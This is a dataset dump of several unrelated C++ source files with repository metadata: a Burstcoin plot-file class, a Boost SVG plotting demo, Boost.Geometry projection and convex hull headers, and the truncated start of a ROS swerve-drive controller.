"2018-06-06T03:00:59.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-22T19:44:32.000Z", "max_issues_repo_path": "sources/src/neuon_c.cpp", "max_issues_repo_name": "sergeyrachev/neuon", "max_issues_repo_head_hexsha": "71db22ac607cdd14ad51678b437d70ff08395a28", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sources/src/neuon_c.cpp", "max_forks_repo_name": "sergeyrachev/neuon", "max_forks_repo_head_hexsha": "71db22ac607cdd14ad51678b437d70ff08395a28", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.8079470199, "max_line_length": 283, "alphanum_fraction": 0.6905113804, "num_tokens": 1581, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2393493527485594, "lm_q1q2_score": 0.1206096157621406}}
{"text": "#include \"plot_file.h\"\n#include \"plot_file_math.h\"\n\n#include <regex>\n\n#include <boost/tokenizer.hpp>\n#include <boost/format.hpp>\n#include <boost/filesystem.hpp>\n\nPlotFile::PlotFile( const boost::filesystem::path & filePath )\n{\n    Initialize( filePath );\n}\n\nPlotFile::PlotFile( const PlotFileParams & params, const boost::filesystem::path & directory )\n{\n    EXCEPTION_ASSERT( boost::filesystem::exists( directory ) &&\n        boost::filesystem::is_directory( directory ) );\n    EXCEPTION_ASSERT( params.staggerSizeInNonces_ > 0 );\n    params_ = params;\n    boost::filesystem::path filePath = directory /\n        BuildFileNameWithoutSuffix();\n\n    Initialize( filePath );\n}\n\nvoid PlotFile::StartCreation( Operation op )\n{\n    EXCEPTION_ASSERT( op == Operation::Optimization ); // Remove this when more operations are available\n    EXCEPTION_ASSERT( status_ == PossibleStatuses::NotPresent );\n    std::string filePath = BuildFilePathWithSuffix( optimizationSuffix_ );\n    status_ = PossibleStatuses::OptimizingInProgress;\n    \n    // Open file and close it (basically create it)\n    stream_.open( filePath, std::ios_base::out | std::ios_base::binary );\n    stream_.close();\n    \n    // Reserve space\n    boost::filesystem::resize_file( boost::filesystem::path( filePath ), \n        PlotFileMath::CalcPlotFileSize( params_ ) );\n        \n    // Open it again\n    stream_.open( filePath, std::ios_base::out | std::ios_base::binary );\n}\n\nvoid PlotFile::FinishCreation()\n{\n    stream_.close();\n    \n    boost::filesystem::path oldFilePath = BuildFilePathWithSuffix( optimizationSuffix_ );\n    boost::filesystem::path newFilePath = BuildFilePathWithSuffix();\n    boost::filesystem::rename( oldFilePath, newFilePath );\n\n    bool longValidation = false;\n    if ( IsValid( newFilePath, longValidation ) )\n    {\n        status_ = PossibleStatuses::Valid;\n    }\n    else\n    {\n        throw std::logic_error( \"Plot file building failed\" );\n    }\n}\n\nuint64_t PlotFile::Read(uint64_t staggerNum, uint64_t scoopNum, char * data)\n{\n    EXCEPTION_ASSERT(nullptr != data);\n    EXCEPTION_ASSERT(PossibleStatuses::Valid == status_);\n    uint64_t expectedSize = PlotFileMath::CalcScoopRegionSizeInBytes(params_);\n    stream_.seekg( PlotFileMath::CalcScoopStartOffsetInBytes( params_, staggerNum, scoopNum ) );\n    stream_.read(data, expectedSize);\n    uint64_t bytesRead = stream_.gcount();\n    EXCEPTION_ASSERT(expectedSize == bytesRead);\n    return bytesRead;\n}\n\nvoid PlotFile::Write(uint64_t staggerNum, uint64_t scoopNum, const char * data)\n{\n    EXCEPTION_ASSERT(nullptr != data);\n    uint64_t expectedSize = PlotFileMath::CalcScoopRegionSizeInBytes(params_);\n    stream_.seekg( PlotFileMath::CalcScoopStartOffsetInBytes( params_, staggerNum, scoopNum ) );\n    stream_.write(data, expectedSize);\n}\n\n/*\nCommon part of object initialization\n*/\ninline void PlotFile::Initialize( const boost::filesystem::path & filePath )\n{\n    if( boost::filesystem::exists( filePath ) )\n    {\n        if( boost::filesystem::is_regular_file( filePath ) )\n        {\n            bool longValidation = false;\n            status_ = IsValid( filePath, longValidation ) ? PossibleStatuses::Valid : PossibleStatuses::Corrupted;\n        }\n        else\n        {\n            throw std::logic_error( \"PlotFile filePath constructor: filePath \" +\n                filePath.string() + \" refers \"\n                \"to something that exists but is not a file.\" );\n        }\n    }\n    else\n    {\n        status_ = PossibleStatuses::NotPresent;\n    }\n    PlotFileParams params = ExtractParamsFromFilePath( filePath );\n    EXCEPTION_ASSERT( params.nonceNumRange_.SizeInNonce() % params.staggerSizeInNonces_ == 0 );\n    EXCEPTION_ASSERT( params.nonceNumRange_.SizeInNonce() >= params.staggerSizeInNonces_ );\n    params_ = params;\n    filePathWithoutSuffix_ = filePath;\n    stream_.exceptions( std::ifstream::failbit | std::ifstream::badbit | std::ifstream::eofbit );\n    if (status_ == PossibleStatuses::Valid)\n    {\n        stream_.open( BuildFilePathWithSuffix(), std::ios_base::in | std::ios_base::binary );\n    }\n}\n\ninline std::string PlotFile::BuildFileNameWithoutSuffix()\n{\n    return BuildPlotFileNameForParams( params_ );\n}\n\nstd::string PlotFile::BuildFilePathWithSuffix( const std::string& suffix /* = \"\" */ ) const\n{\n    // TODO use BuildCanonicalFilePath()?\n    return filePathWithoutSuffix_.string() + suffix;\n}\n\ninline PlotFileParams PlotFile::ExtractParamsFromFilePath( const boost::filesystem::path & filePath )\n{\n    EXCEPTION_ASSERT( IsNameValid( filePath ) );\n    boost::filesystem::path fileName = filePath.filename();\n    typedef boost::tokenizer<boost::char_separator<char> >\n        tokenizer;\n    tokenizer tokens( fileName.string(), boost::char_separator<char>( \"_\" ) );\n    std::vector<std::string> tokensVector;\n    std::copy( tokens.begin(), tokens.end(), std::back_inserter( tokensVector ) );\n    EXCEPTION_ASSERT( tokensVector.size() == 4 );\n\n    uint64_t accountNumericId = std::stoull( tokensVector.at( 0 ) );\n    uint64_t startNonceNum = std::stoull( tokensVector.at( 1 ) );\n    uint64_t sizeInNonce = std::stoull( tokensVector.at( 2 ) );\n    uint64_t staggerSizeInNonces = std::stoull( tokensVector.at( 3 ) );\n    return PlotFileParams( accountNumericId, NonceNumRange( startNonceNum, sizeInNonce ), staggerSizeInNonces );\n}\n\ninline bool PlotFile::IsValid( const boost::filesystem::path & filePath, bool longValidation )\n{\n    EXCEPTION_ASSERT( !longValidation ); // Long validation is not implemented yet\n    PlotFileParams params = ExtractParamsFromFilePath( filePath );\n    bool valid = ( params.nonceNumRange_.SizeInNonce() % params.staggerSizeInNonces_ ) == 0;\n    valid = valid || ( params.nonceNumRange_.SizeInNonce() >= params.staggerSizeInNonces_ );\n    return valid;\n}\n\nbool PlotFile::IsNameValid( const boost::filesystem::path& filePath )\n{\n    /*\n     * Name is considered valid if:\n     * it has all four numbers separated by a single underscore,\n     * file name may have suffix but it has the following limitation:\n     *    if suffix is present, it consists of a dot plus at least one letter\n     *    (other symbols are not allowed)\n     *    cannot have just a dot\n     */\n    std::string fileName = filePath.filename().string();\n    std::regex regex( R\"(\\d+_\\d+_\\d+_\\d+(\\.[a-zA-Z]+)?)\" );\n    return std::regex_match( fileName, regex );\n}\n\nbool PlotFile::operator==( const PlotFile& rhs )\n{\n    return this->BuildCanonicalFilePath() == rhs.BuildCanonicalFilePath();\n}\n\nstd::string PlotFile::BuildCanonicalFilePath() const\n{\n    return boost::filesystem::canonical( filePathWithoutSuffix_ ).string();\n}\n\nbool PlotFile::operator!=( const PlotFile& rhs )\n{\n    return !( *this == rhs );\n}\n\nbool PlotFile::operator<( const PlotFile& rhs )\n{\n    return BuildCanonicalFilePath() < rhs.BuildCanonicalFilePath();\n}\n\n// TODO test it somehow?\nbool PlotFile::DoesItBelongToDirectory( const boost::filesystem::path& directory ) const\n{\n    return !boost::filesystem::relative( FileNameWithPath(), boost::filesystem::canonical( directory ) ).empty();\n}\n\nbool PlotFile::IsFullyOptimized() const\n{\n    return params_.nonceNumRange_.SizeInNonce() == params_.staggerSizeInNonces_;\n}\n\nstd::string PlotFile::BuildPlotFileNameForParams( const PlotFileParams& params )\n{\n    return ( boost::format( \"%d_%d_%d_%d\" ) %\n        params.accountNumericId_ %\n        params.nonceNumRange_.StartNonceNum() %\n        params.nonceNumRange_.SizeInNonce() %\n        params.staggerSizeInNonces_ ).str();\n}\n", "meta": {"hexsha": "bd66640df8f2f0ae6c43d1837d537348e130df70", "size": 7468, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "utils/plot_file.cpp", "max_stars_repo_name": "Kristian-Popov/Burstcoin-OpenCL-plotter", "max_stars_repo_head_hexsha": "eb48f4d3dc41dc393321dadd30a1b58141924f4b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "utils/plot_file.cpp", "max_issues_repo_name": "Kristian-Popov/Burstcoin-OpenCL-plotter", "max_issues_repo_head_hexsha": "eb48f4d3dc41dc393321dadd30a1b58141924f4b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2018-03-04T18:44:47.000Z", "max_issues_repo_issues_event_max_datetime": "2018-06-03T09:51:13.000Z", "max_forks_repo_path": "utils/plot_file.cpp", "max_forks_repo_name": "Kristian-Popov/Burstcoin-OpenCL-plotter", "max_forks_repo_head_hexsha": "eb48f4d3dc41dc393321dadd30a1b58141924f4b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2264150943, "max_line_length": 114, "alphanum_fraction": 0.697643278, "num_tokens": 1791, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.23091976292927183, "lm_q1q2_score": 0.11996774050187922}}
{"text": "/*! \\file demo_1d_vector.cpp\n    \\brief Simple plot of vector of 1D data.\n    \\details An example to demonstrate simple 1D plot using two vectors,\n     see also demo_1d_containers for examples using other STL containers.\n    \\author Jacob Voytko & Paul A. Bristow\n    \\date Feb 2009\n*/\n\n// Copyright Jacob Voytko 2007\n// Copyright Paul A Bristow 2008, 2009\n\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0.\n// (See accompanying file LICENSE_1_0.txt\n// or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n// This file is written to be included from a Quickbook .qbk document.\n// It can be compiled by the C++ compiler, and run. Any output can\n// also be added here as comment or included or pasted in elsewhere.\n// Caution: this file contains Quickbook markup as well as code\n// and comments: don't change any of the special comment markups!\n\n//[demo_1d_vector_1\n\n/*`First we need a few includes to use Boost.Plot:\n*/\n#include <boost/svg_plot/svg_1d_plot.hpp>\n  using namespace boost::svg;\n#include <vector>\n  using std::vector;\n//] [/demo_1d_vector_1]\n\nint main()\n{\n//[demo_1d_vector_2\n\n/*`STL vector is used as the container for our two data series,\nand values are inserted using push_back.  Since this is a 1-D plot\nthe order of data values is not important.\n*/\n  vector<double> dan_times;\n  dan_times.push_back(3.1);\n  dan_times.push_back(4.2);\n\n  vector<double> elaine_times;\n  elaine_times.push_back(2.1);\n  elaine_times.push_back(7.8);\n\n/*`The constructor initializes a new 1D plot, called `my_plot`, and also sets all the very many defaults for axes, width, colors, etc. \n*/\n  svg_1d_plot my_plot;\n\n/*`A few (member) functions that set are fairly self-explanatory:\n\n* title provides a title at the top for the whole plot,\n* `legend_on(true)` will mean that titles of data series and markers will display in the legend box.\n* `x_range(-1, 11)` sets the axis limits from -1 to +11 (instead of the default -10 to +10).\n* `background_border_color(blue)` sets just one of the very many options.\n*/\n\n  my_plot.background_border_color(blue)\n    .legend_on(true)\n    .title(\"Race Times\")\n    .x_range(-1, 11);\n\n  my_plot.legend_lines(true);\n\n/*`The syntax `my_plot.title(\"Hello\").legend_on(true)...` may appear unfamiliar,\nbut is a convenient way of specifying many parameters in any order. It is equivalent to:\n``\n  my_plot.title(\"Race Times\");\n  my_plot.legend_on(true);\n  my_plot.x_range(-1, 11);\n  my_plot.background_border_color(blue);\n``\nChaining thus allows you to avoid repeatedly typing \"`myplot.`\"\nand easily group related settings like plot window, axes ... together.\nA fixed order would clearly become impracticable with\nhundreds of possible arguments needed to set all the myriad plot options.\n\nWithin all of the plot classes, 'chaining' works the same way,\nby returning a reference to the calling object thus `return  *this;`\n\nThen we need to add our data series,\nand add optional (but very helpful) data series titles\nif we want them to show on the legend.\n*/\n\n  my_plot.plot(dan_times, \"Dan\").shape(circlet).size(10).stroke_color(red).fill_color(green);\n  my_plot.plot(elaine_times, \"Elaine\").shape(vertical_line).stroke_color(blue);\n\n\n/*`Finally, we can write the SVG to a file of our choice.\n*/\n\n  my_plot.write(\"./demo_1d_vector.svg\");\n//] [/demo_1d_vector_2]\n\n  return 0;\n} // int main()\n\n/*\n\nOutput:\n//[demo_1d_vector_output\n\nCompiling...\ndemo_1d_vector.cpp\nLinking...\nEmbedding manifest...\nAutorun \"j:\\Cpp\\SVG\\debug\\demo_1d_vector.exe\"\nBuild Time 0:04\n//] [/demo_1d_vector_output]\n*/\n", "meta": {"hexsha": "e5a9b38835e4b367b38d15b3fc56ed8fb6f84343", "size": 3551, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "example/demo_1d_vector.cpp", "max_stars_repo_name": "pabristow/svg_plot", "max_stars_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 24.0, "max_stars_repo_stars_event_min_datetime": "2016-03-09T03:23:06.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-12T14:02:07.000Z", "max_issues_repo_path": "example/demo_1d_vector.cpp", "max_issues_repo_name": "pabristow/svg_plot", "max_issues_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 11.0, "max_issues_repo_issues_event_min_datetime": "2018-03-05T14:39:48.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-22T09:00:33.000Z", "max_forks_repo_path": "example/demo_1d_vector.cpp", "max_forks_repo_name": "pabristow/svg_plot", "max_forks_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10.0, "max_forks_repo_forks_event_min_datetime": "2016-11-04T14:36:04.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-17T08:12:03.000Z", "avg_line_length": 30.8782608696, "max_line_length": 135, "alphanum_fraction": 0.736693889, "num_tokens": 952, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616964, "lm_q2_score": 0.27825679370240214, "lm_q1q2_score": 0.11969142610250882}}
{"text": "// Boost.Geometry (aka GGL, Generic Geometry Library)\r\n// This file is manually converted from PROJ4\r\n\r\n// Copyright (c) 2008-2012 Barend Gehrels, Amsterdam, the Netherlands.\r\n\r\n// This file was modified by Oracle on 2017, 2018, 2019.\r\n// Modifications copyright (c) 2017-2019, Oracle and/or its affiliates.\r\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\r\n\r\n// Use, modification and distribution is subject to the Boost Software License,\r\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n\r\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\r\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\r\n// PROJ4 is maintained by Frank Warmerdam\r\n// PROJ4 is converted to Geometry Library by Barend Gehrels (Geodan, Amsterdam)\r\n\r\n// Original copyright notice:\r\n\r\n// Permission is hereby granted, free of charge, to any person obtaining a\r\n// copy of this software and associated documentation files (the \"Software\"),\r\n// to deal in the Software without restriction, including without limitation\r\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\r\n// and/or sell copies of the Software, and to permit persons to whom the\r\n// Software is furnished to do so, subject to the following conditions:\r\n\r\n// The above copyright notice and this permission notice shall be included\r\n// in all copies or substantial portions of the Software.\r\n\r\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\r\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\r\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\r\n// DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef BOOST_GEOMETRY_PROJECTIONS_IMPL_PJ_FWD_HPP\r\n#define BOOST_GEOMETRY_PROJECTIONS_IMPL_PJ_FWD_HPP\r\n\r\n#include <boost/geometry/core/radian_access.hpp>\r\n#include <boost/geometry/util/math.hpp>\r\n\r\n#include <boost/geometry/srs/projections/impl/adjlon.hpp>\r\n#include <boost/geometry/srs/projections/impl/projects.hpp>\r\n\r\n#include <boost/math/constants/constants.hpp>\r\n\r\n/* general forward projection */\r\n\r\nnamespace boost { namespace geometry { namespace projections {\r\n\r\nnamespace detail {\r\n\r\n/* forward projection entry */\r\ntemplate <typename Prj, typename LL, typename XY, typename P>\r\ninline void pj_fwd(Prj const& prj, P const& par, LL const& ll, XY& xy)\r\n{\r\n    typedef typename P::type calc_t;\r\n    static const calc_t EPS = 1.0e-12;\r\n\r\n    using namespace detail;\r\n\r\n    calc_t lp_lon = geometry::get_as_radian<0>(ll);\r\n    calc_t lp_lat = geometry::get_as_radian<1>(ll);\r\n    calc_t const t = geometry::math::abs(lp_lat) - geometry::math::half_pi<calc_t>();\r\n\r\n    /* check for forward and latitude or longitude overange */\r\n    if (t > EPS || geometry::math::abs(lp_lon) > 10.)\r\n    {\r\n        BOOST_THROW_EXCEPTION( projection_exception(error_lat_or_lon_exceed_limit) );\r\n    }\r\n\r\n    if (geometry::math::abs(t) <= EPS)\r\n    {\r\n        lp_lat = lp_lat < 0. ? -geometry::math::half_pi<calc_t>() : geometry::math::half_pi<calc_t>();\r\n    }\r\n    else if (par.geoc)\r\n    {\r\n        lp_lat = atan(par.rone_es * tan(lp_lat));\r\n    }\r\n\r\n    lp_lon -= par.lam0;    /* compute del lp.lam */\r\n    if (! par.over)\r\n    {\r\n        lp_lon = adjlon(lp_lon); /* post_forward del longitude */\r\n    }\r\n\r\n    calc_t x = 0;\r\n    calc_t y = 0;\r\n\r\n    prj.fwd(par, lp_lon, lp_lat, x, y);\r\n\r\n    geometry::set<0>(xy, par.fr_meter * (par.a * x + par.x0));\r\n    geometry::set<1>(xy, par.fr_meter * (par.a * y + par.y0));\r\n}\r\n\r\n} // namespace detail\r\n}}} // namespace boost::geometry::projections\r\n\r\n#endif // BOOST_GEOMETRY_PROJECTIONS_IMPL_PJ_FWD_HPP\r\n", "meta": {"hexsha": "33cbde3ff6099b82c3acd7888a6ff4aacc239b9c", "size": 3896, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/pj_fwd.hpp", "max_stars_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_stars_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 80.0, "max_stars_repo_stars_event_min_datetime": "2021-09-07T12:44:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T01:22:19.000Z", "max_issues_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/pj_fwd.hpp", "max_issues_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_issues_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2021-12-23T02:49:42.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-15T05:28:24.000Z", "max_forks_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/pj_fwd.hpp", "max_forks_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_forks_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 25.0, "max_forks_repo_forks_event_min_datetime": "2021-09-14T06:24:25.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T06:55:07.000Z", "avg_line_length": 37.8252427184, "max_line_length": 103, "alphanum_fraction": 0.7017453799, "num_tokens": 956, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5428632831725052, "lm_q2_score": 0.2200070997458932, "lm_q1q2_score": 0.11943377648931641}}
{"text": "// Boost.Geometry\n\n// Copyright (c) 2020, Oracle and/or its affiliates.\n\n// Contributed and/or modified by Vissarion Fysikopoulos, on behalf of Oracle\n\n// Licensed under the Boost Software License version 1.0.\n// http://www.boost.org/users/license.html\n\n#ifndef BOOST_GEOMETRY_STRATEGIES_CONVEX_HULL_SPHERICAL_HPP\n#define BOOST_GEOMETRY_STRATEGIES_CONVEX_HULL_SPHERICAL_HPP\n\n\n#include <boost/geometry/strategies/convex_hull/services.hpp>\n#include <boost/geometry/strategies/detail.hpp>\n#include <boost/geometry/strategies/spherical/ssf.hpp>\n\n\nnamespace boost { namespace geometry\n{\n\nnamespace strategies { namespace convex_hull\n{\n\ntemplate <typename CalculationType = void>\nclass spherical : public strategies::detail::spherical_base<void>\n{\npublic:\n    static auto side()\n    {\n        return strategy::side::spherical_side_formula<CalculationType>();\n    }\n};\n\nnamespace services\n{\n\ntemplate <typename Geometry>\nstruct default_strategy<Geometry, spherical_equatorial_tag>\n{\n    using type = strategies::convex_hull::spherical<>;\n};\n\n} // namespace services\n\n}} // namespace strategies::convex_hull\n\n}} // namespace boost::geometry\n\n#endif // BOOST_GEOMETRY_STRATEGIES_CONVEX_HULL_SPHERICAL_HPP\n", "meta": {"hexsha": "0eec8ee82d5b459395ebba45b64587de808c096f", "size": 1196, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "ReactNativeFrontend/ios/Pods/boost/boost/geometry/strategies/convex_hull/spherical.hpp", "max_stars_repo_name": "Harshitha91/Tmdb-react-native-node", "max_stars_repo_head_hexsha": "e06e3f25a7ee6946ef07a1f524fdf62e48424293", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 106.0, "max_stars_repo_stars_event_min_datetime": "2015-08-07T04:23:50.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-27T18:25:15.000Z", "max_issues_repo_path": "ReactNativeFrontend/ios/Pods/boost/boost/geometry/strategies/convex_hull/spherical.hpp", "max_issues_repo_name": "Harshitha91/Tmdb-react-native-node", "max_issues_repo_head_hexsha": "e06e3f25a7ee6946ef07a1f524fdf62e48424293", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 130.0, "max_issues_repo_issues_event_min_datetime": "2016-06-22T22:11:25.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-29T20:24:09.000Z", "max_forks_repo_path": "ReactNativeFrontend/ios/Pods/boost/boost/geometry/strategies/convex_hull/spherical.hpp", "max_forks_repo_name": "Harshitha91/Tmdb-react-native-node", "max_forks_repo_head_hexsha": "e06e3f25a7ee6946ef07a1f524fdf62e48424293", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 41.0, "max_forks_repo_forks_event_min_datetime": "2015-07-08T19:18:35.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-14T16:39:56.000Z", "avg_line_length": 23.4509803922, "max_line_length": 77, "alphanum_fraction": 0.7801003344, "num_tokens": 277, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.23651624182730094, "lm_q1q2_score": 0.11918199368712515}}
{"text": "/*\n *  Copyright (c) 2013, PAL Robotics, S.L.\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and/or other materials provided\n *     with the distribution.\n *   * Neither the name of the PAL Robotics nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *********************************************************************/\n\n/*\n * Author: Bence Magyar\n */\n\n#include <cmath>\n\n#include <boost/assign.hpp>\n\n#include <Eigen/Dense>\n\n#include <tf/transform_datatypes.h>\n#include <urdf_parser/urdf_parser.h>\n#include <urdf/urdfdom_compatibility.h>\n\n#include <talon_swerve_drive_controller/swerve_drive_controller.h>\n\n//TODO: include swerve stuff from C-Control\nusing Eigen::Vector2d;\nusing std::array;\nusing Eigen::Affine2d;\nusing Eigen::Matrix2d;\nusing Eigen::Vector2d;\n\nusing ros::Time;\nusing geometry_msgs::TwistConstPtr;\nusing ros::Duration;\n\nconst std::string talon_swerve_drive_controller::TalonSwerveDriveController::DEF_BASE_LINK = \"base_link\";\nconst double talon_swerve_drive_controller::TalonSwerveDriveController::DEF_ODOM_PUB_FREQ = 50.;\nconst bool talon_swerve_drive_controller::TalonSwerveDriveController::DEF_PUB_ODOM_TO_BASE = false;\nconst std::string talon_swerve_drive_controller::TalonSwerveDriveController::DEF_ODOM_FRAME = \"odom\";\nconst std::string talon_swerve_drive_controller::TalonSwerveDriveController::DEF_BASE_FRAME = \"base_link\";\nconst double talon_swerve_drive_controller::TalonSwerveDriveController::DEF_INIT_X = 0.;\nconst double talon_swerve_drive_controller::TalonSwerveDriveController::DEF_INIT_Y = 0.;\nconst double talon_swerve_drive_controller::TalonSwerveDriveController::DEF_INIT_YAW = 0.;\nconst double talon_swerve_drive_controller::TalonSwerveDriveController::DEF_SD = 0.01;\n\n/*\nstatic double euclideanOfVectors(const urdf::Vector3& vec1, const urdf::Vector3& vec2)\n{\n  return std::sqrt(std::pow(vec1.x-vec2.x,2) +\n                   std::pow(vec1.y-vec2.y,2) +\n                   std::pow(vec1.z-vec2.z,2));\n}\n*/\n/*\n* \\brief Check that a link exists and has a geometry collision.\n* \\param link The link\n* \\return true if the link has a collision element with geometry\n*/\nstatic bool hasCollisionGeometry(const urdf::LinkConstSharedPtr &link)\n{\n\tif (!link)\n\t{\n\t\tROS_ERROR(\"Link == NULL.\");\n\t\treturn false;\n\t}\n\n\tif (!link->collision)\n\t{\n\t\tROS_ERROR_STREAM(\"Link \" << link->name << \" does not have collision description. Add collision description for link to urdf.\");\n\t\treturn false;\n\t}\n\n\tif (!link->collision->geometry)\n\t{\n\t\tROS_ERROR_STREAM(\"Link \" << link->name << \" does not have collision geometry description. Add collision geometry description for link to urdf.\");\n\t\treturn false;\n\t}\n\treturn true;\n}\n#if 0\n/*\n * \\brief Check if the link is modeled as a cylinder\n * \\param link Link\n * \\return true if the link is modeled as a Cylinder; false otherwise\n */\nstatic bool isCylinder(const urdf::LinkConstSharedPtr &link)\n{\n\tif (!hasCollisionGeometry(link))\n\t{\n\t\treturn false;\n\t}\n\n\tif (link->collision->geometry->type != urdf::Geometry::CYLINDER)\n\t{\n\t\tROS_DEBUG_STREAM(\"Link \" << link->name << \" does not have cylinder geometry\");\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n/*\n * \\brief Check if the link is modeled as a sphere\n * \\param link Link\n * \\return true if the link is modeled as a Sphere; false otherwise\n *\n * \\param link Link\n * \\return true if the link is modeled as a Sphere; false otherwise\n */\nstatic bool isSphere(const urdf::LinkConstSharedPtr &link)\n{\n\tif (!hasCollisionGeometry(link))\n\t{\n\t\treturn false;\n\t}\n\n\tif (link->collision->geometry->type != urdf::Geometry::SPHERE)\n\t{\n\t\tROS_DEBUG_STREAM(\"Link \" << link->name << \" does not have sphere geometry\");\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n#endif\n\n/*\n * \\brief Get the wheel radius\n * \\param [in]  wheel_link   Wheel link\n * \\param [out] wheel_radius Wheel radius [m]\n * \\return true if the wheel radius was found; false otherwise\n */\n#if 0\nstatic bool getWheelRadius(const urdf::LinkConstSharedPtr &wheel_link, double &wheel_radius)\n{\n\tif (isCylinder(wheel_link))\n\t{\n\t\twheel_radius = (static_cast<urdf::Cylinder 